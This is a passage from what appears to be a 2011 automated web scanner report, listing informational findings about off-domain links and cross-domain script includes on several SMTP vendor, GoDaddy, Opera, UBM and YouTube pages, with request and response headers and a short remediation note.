<span class="img_icon"><a href="http://www.linkedin.com/companies/446200 "><img src="/images/default/linkedin_icon.gif" alt="" />
...[SNIP]...

15.78. http://www.smtp2go.net/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp2go.net
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.smtp2go.net/index.php?option=com_content&view=article&id=2&Itemid=2

The response contains the following links to other domains:

http://bromius.smtp2go.hop.clickbank.net/?c=Su
http://www.visisearch.com/

Request

GET /index.php?option=com_content&view=article&id=2&Itemid=2 HTTP/1.1
Host: www.smtp2go.net
Proxy-Connection: keep-alive
Referer: http://www.smtp2go.net/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 2ce9b633a5fc093e7110fb48a03540f7=1unace1l1crhkih9j89hh6j324; __utma=13849269.1804599949.1316207669.1316207669.1316207669.1; __utmb=13849269.1.10.1316207669; __utmc=13849269; __utmz=13849269.1316207669.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:13:57 GMT
Server: Apache/1.3.42 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8e-fips-rhel5 PHP-CGI/0.9
Cache-Control: post-check=0, pre-check=0
Expires: Mon, 1 Jan 2001 00:00:00 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 16:13:57 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<
...[SNIP]...
s. Who needs the drama? Imagine managing the same account (including multiple addresses) from the same email program, regardless of where you are? That's what smtp2go allows you to do! Ready to go ... <a href="http://bromius.smtp2go.hop.clickbank.net?c=Su" target="_self" title="smtp2go - free trial!">start your 7 day free trial now</a>
...[SNIP]...
<p><a href="http://bromius.smtp2go.hop.clickbank.net?c=Su" target="_self" title="smtp2go - free trial!"><img src="/images/stories/smtp2go free trial.jpg" border="0" alt="smtp2go - free trial!" title="smtp2go - free trial!" align="right" />
...[SNIP]...
<p>.. Copyright 2011 by VisiSearch International Limited. All rights reserved | <a href="http://www.visisearch.com/" target="_blank">SEO Strategies</a>
...[SNIP]...

15.79. http://www.socketlabs.com/lpages/od-smtp-service previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.socketlabs.com
Path:	/lpages/od-smtp-service

Issue detail

The page was loaded from a URL containing a query string:

http://www.socketlabs.com/lpages/od-smtp-service?ctt_id=3448125&ctt_adnw=Google&ctt_kw=SMTP%20server&ctt_ch=ps&ctt_entity=tc&ctt_adid=7890931031&ctt_nwtype=search&ctt_cli=8x11767x88739x778008&gclid=CJKar_KJoqsCFRpggwodHTRzEg

The response contains the following link to another domain:

http://static.woopra.com/js/woopra.v2.js

Request

GET /lpages/od-smtp-service?ctt_id=3448125&ctt_adnw=Google&ctt_kw=SMTP%20server&ctt_ch=ps&ctt_entity=tc&ctt_adid=7890931031&ctt_nwtype=search&ctt_cli=8x11767x88739x778008&gclid=CJKar_KJoqsCFRpggwodHTRzEg HTTP/1.1
Host: www.socketlabs.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:36 GMT
Server: Mongrel 1.1.5
Status: 200
ETag: "39521196c8202d1b7ce420f4303ae360"
X-Runtime: 5
Cache-Control: private, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 7722

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>SMTP Ser
...[SNIP]...

<script type="text/javascript" src="//static.woopra.com/js/woopra.v2.js"></script>
...[SNIP]...

15.80. http://www.stumbleupon.com/badge/embed/1/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stumbleupon.com
Path:	/badge/embed/1/

Issue detail

The page was loaded from a URL containing a query string:

http://www.stumbleupon.com/badge/embed/1/?url=http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html

The response contains the following links to other domains:

http://cdn.stumble-upon.com/css/badges_su.css?v=20110909-00
http://cdn.stumble-upon.com/js/badge_su.js?v=20110909-00

Request

GET /badge/embed/1/?url=http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html HTTP/1.1
Host: www.stumbleupon.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: su_bc=2

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: su_bc=4; expires=Sun, 16-Oct-2011 17:55:17 GMT; path=/; domain=.stumbleupon.com
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 1191
Date: Fri, 16 Sep 2011 17:55:17 GMT
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www
...[SNIP]...
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>


           <link rel="stylesheet" href="http://cdn.stumble-upon.com/css/badges_su.css?v=20110909-00" type="text/css" media="screen, projection" />

                       <script type="text/javascript" src="http://cdn.stumble-upon.com/js/badge_su.js?v=20110909-00"></script>
...[SNIP]...

15.81. http://www.ubm.com/en/site-services/search/search-result.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/site-services/search/search-result.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll&query=help%20contact

The response contains the following links to other domains:

http://ubmtech.112.2o7.net/b/ss/ubmubmcom/1/H.22.1%20-%20-NS/0?w=1&h=1&as=1
https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET /en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll&query=help%20contact HTTP/1.1
Host: www.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/people/ubm-people.aspx
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: www-ubm-com#ip3_device={FE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3}; ASP.NET_SessionId=lrutmeuvvoi00fjnhwegnc3x; SERVERID=GS2-WEB01; __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.3.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); www-ubm-com#lang=en

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 19522
Content-Type: text/html; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:44:39 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" >
<head>
...[SNIP]...

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js " language="javascript"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="https://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...
<noscript><img src="http://ubmtech.112.2o7.net/b/ss/ubmubmcom/1/H.22.1 - -NS/0?w=1&h=1&as=1" height="1" width="1" border="0" alt="" /></noscript>
...[SNIP]...

15.82. http://www.youtube.com/embed/lIEF1xCAvxo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/lIEF1xCAvxo

Issue detail

The page was loaded from a URL containing a query string:

http://www.youtube.com/embed/lIEF1xCAvxo?rel=0

The response contains the following links to other domains:

http://s.ytimg.com/yt/cssbin/www-embed-vfl6DvbkH.css
http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif
http://s.ytimg.com/yt/jsbin/www-embed_core_module-vfls7Qr1c.js
http://www.google.com/support/youtube/bin/answer.py?answer=1229982

Request

GET /embed/lIEF1xCAvxo?rel=0 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.jangosmtp.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=f_pXTnp7lsc; PREF=fv=10.3.183

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:28:30 GMT
Server: Apache
X-Content-Type-Options: nosniff
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 18383
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html>
<head>
<title>YouTube - Broadcast Yourself</title>

<link rel="stylesheet" href="http://s.ytimg.com/yt/cssbin/www-embed-vfl6DvbkH.css">

</head>
<body>

<div id="wa
...[SNIP]...
<div id="watch-longform-ad-placeholder"><img src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" height="60" width="300"></div>
...[SNIP]...
<p>
Get <a href="http://www.google.com/support/youtube/bin/answer.py?answer=1229982">help setting up HTML5 3D</a>
...[SNIP]...
</div>

<img class="html5-watermark html5-stop-propagation html5-icon hid" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt="watermark">
<div class="html5-player-chrome html5-stop-propagation">
...[SNIP]...
t-title="Play" data-alt-title="Pause" onclick=";return false;" type="button" class="html5-play-button yt-uix-button yt-uix-button-player yt-uix-tooltip yt-uix-button-empty" tabindex="3" role="button"><img class="yt-uix-button-icon yt-uix-button-icon-html5" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""></button>
...[SNIP]...
tle="Mute" data-alt-title="Unmute" onclick=";return false;" type="button" class="html5-volume-button yt-uix-button yt-uix-button-player yt-uix-tooltip yt-uix-button-empty" tabindex="-1" role="button"><img class="yt-uix-button-icon yt-uix-button-icon-html5" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""></button>
...[SNIP]...
ll screen" onclick=";return false;" type="button" class="html5-fullscreen-button html5-control-right yt-uix-button yt-uix-button-player yt-uix-tooltip yt-uix-button-empty" tabindex="11" role="button"><img class="yt-uix-button-icon yt-uix-button-icon-html5" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""></button>
...[SNIP]...
e="Shrink" onclick=";return false;" type="button" class="html5-expand-button html5-control-right hid yt-uix-button yt-uix-button-player yt-uix-tooltip yt-uix-button-empty" tabindex="10" role="button"><img class="yt-uix-button-icon yt-uix-button-icon-html5" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""></button>
...[SNIP]...
</span><img class="yt-uix-button-arrow" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""><div class="yt-uix-button-menu yt-uix-button-menu-player" style="display: none;">
...[SNIP]...
reverse flip yt-uix-button yt-uix-button-player yt-uix-tooltip yt-uix-button-empty" tabindex="8" role="button" aria-pressed="false" aria-expanded="false" aria-haspopup="true" aria-activedescendant=""><img class="yt-uix-button-arrow" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""><div class="yt-uix-button-menu yt-uix-button-menu-player" style="display: none;">
...[SNIP]...
urn false;" title="Annotations" type="button" class="html5-annotations-button html5-control-right hid yt-uix-button yt-uix-button-player yt-uix-tooltip yt-uix-button-empty" tabindex="7" role="button"><img class="yt-uix-button-icon yt-uix-button-icon-html5" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""></button>
...[SNIP]...
</span><img class="yt-uix-button-arrow" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""><div class="yt-uix-button-menu yt-uix-button-menu-player" style="display: none;">
...[SNIP]...
</span><img class="yt-uix-button-arrow" src="//s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif" alt=""><div class="yt-uix-button-menu yt-uix-button-menu-player" style="display: none;">
...[SNIP]...
</div>

<script src="//s.ytimg.com/yt/jsbin/www-embed_core_module-vfls7Qr1c.js"></script>
...[SNIP]...

16. Cross-domain script include previous next
There are 95 instances of this issue:

http://fei-zyfer.com/
http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
http://labs.opera.com/
http://labs.opera.com/news/2011/03/22/
http://landing.sendgrid.com/smtp-with-bullet-points/
http://media.ubm.com/
http://media.ubm.com/news
http://my.opera.com/community/
https://my.opera.com/community/signup/
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
http://portal.opera.com/
http://portal.opera.com/portal/tabs/
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js
http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css
http://seg.sharethis.com/getSegment.php
http://sendgrid.com/features
http://sendgrid.com/pricing.html
https://sendgrid.com/user/signup/package/44
https://support.socketlabs.com/
https://support.socketlabs.com/index.php/Base/User/Login
https://support.socketlabs.com/index.php/Base/UserRegistration/Register
https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit
http://t.tellapart.com/hif
http://thehackernews.com/
http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
http://ws.amazon.com/widgets/q
http://www.altn.com/Downloads/FreeEvaluation/
http://www.altn.com/Products/MDaemon-Email-Server-Windows/
http://www.blackbaud.com/
http://www.bookkeepers.com.au/
http://www.drugstore.com/
http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp
http://www.facebook.com/connect/connect.php
http://www.facebook.com/plugins/likebox.php
http://www.godaddy.com/
http://www.godaddy.com/domains/search.aspx
http://www.godaddy.com/gdshop/site_search.asp
http://www.godaddy.com/offers/hot-deals2.aspx
http://www.godaddy.com/productadvisor/pastart.aspx
http://www.imailserver.com/products/
http://www.imailserver.com/products/imail-secure-server/
http://www.imailserver.com/resources/
http://www.imailserver.com/resources/find-a-reseller/
http://www.imailserver.com/resources/testimonials/
http://www.imailserver.com/support/
http://www.imailserver.com/windows-email-server/
http://www.jangosmtp.com/Free-Account.asp
http://www.jangosmtp.com/Pricing.asp
http://www.jangosmtp.com/default.asp
http://www.jangosmtp.com/login.asp
https://www.jangosmtp.com/PasswordReset.asp
https://www.jangosmtp.com/login.asp
http://www.opera.com/
http://www.opera.com/company/
http://www.port25.com/products/prod_eval.html
http://www.port25.com/products/prod_evalthanks.html
http://www.port25.com/products/prod_pmta4_features.html
http://www.powermta.port25.com/
http://www.powermta.port25.com/download-a-white-paper/
http://www.powermta.port25.com/smtp-server-software-2/
http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg
http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png
http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png
http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png
http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg
http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif
http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js
http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js
http://www.powermta.port25.com/wp-content/themes/powermta1/style.css
http://www.smtp.com/
http://www.smtp.com/service-info
https://www.smtp.com/signup
http://www.socketlabs.com/lpages/od-smtp-service
http://www.stumbleupon.com/badge/embed/1/
http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
http://www.ubm.com/
http://www.ubm.com/en/people/jobshop.aspx
http://www.ubm.com/en/people/ubm-people.aspx
http://www.ubm.com/en/site-services/search/search-result.aspx
http://www.ubm.com/en/stylesheets/.~/media/Images/U/United-Business-Media-Plc/Images/business-banner/cursors/cursor_arrow_left.cur
http://www.ubm.com/en/ubm-businesses.aspx
http://www.youtube.com/embed/lIEF1xCAvxo

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

16.1. http://fei-zyfer.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fei-zyfer.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js

Request

GET / HTTP/1.1
Host: fei-zyfer.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:01:26 GMT
Server: ConcentricHost-Ashurbanipal/2.0 (XO(R) Web Site Hosting)
Last-Modified: Wed, 22 Jun 2011 15:27:50 GMT
ETag: "12c521d-7f3d-4e0209f6"
Accept-Ranges: bytes
Content-Length: 32573
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>FEI-Zyfer - GPS Time and Frequency Systems</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<sty
...[SNIP]...
r provides precision GPS Time and Frequency Systems with C/A or GB-GRAM SAASM and MRU SAASM GPS receivers and Rubidium or OCXO oscillators, as well as Wireline Timing and Synchronization products.">

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...

16.2. http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/free-30-day-trial-20J6-1725H4.html

Issue detail

The response dynamically includes the following script from another domain:

http://player.ooyala.com/player.js?width=388&height=290&embedCode=BxcnZkMjpvja5pkM5Te_e_rArpHwljfi

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:53 GMT
Content-Length: 17226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_pag
...[SNIP]...
<div id="ball_WIDGET_abs"><script src="http://player.ooyala.com/player.js?width=388&height=290&embedCode=BxcnZkMjpvja5pkM5Te_e_rArpHwljfi"></script>
...[SNIP]...

16.3. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/sma8.js

Request

Response

16.4. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/js/r20110907/r20110914/abg.js

Request

Response

16.5. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js
https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.6. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js
https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.7. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js
https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.8. http://labs.opera.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://labs.opera.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: labs.opera.com
Proxy-Connection: keep-alive
Referer: http://www.opera.com/company/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:17 GMT
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 54597

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en
...[SNIP]...
</div><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

16.9. http://labs.opera.com/news/2011/03/22/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://labs.opera.com
Path:	/news/2011/03/22/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /news/2011/03/22/ HTTP/1.1
Host: labs.opera.com
Proxy-Connection: keep-alive
Referer: http://labs.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=228300800.160415536.1316208006.1316208006.1316208006.1; __utmb=228300800; __utmc=228300800; __utmz=228300800.1316208006.1.1.utmccn=(referral)|utmcsr=opera.com|utmcct=/company/|utmcmd=referral

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:24:48 GMT
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 5733

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en
...[SNIP]...
</div><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

16.10. http://landing.sendgrid.com/smtp-with-bullet-points/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://landing.sendgrid.com
Path:	/smtp-with-bullet-points/

Issue detail

The response dynamically includes the following scripts from other domains:

http://d2f7h8c8hc0u7y.cloudfront.net/performable/pax/0a6gTR.js
http://munchkin.marketo.net/munchkin.js

Request

Response

16.11. http://media.ubm.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://media.ubm.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET / HTTP/1.1
Host: media.ubm.com
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/people/jobshop.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.6.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:13 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 19562

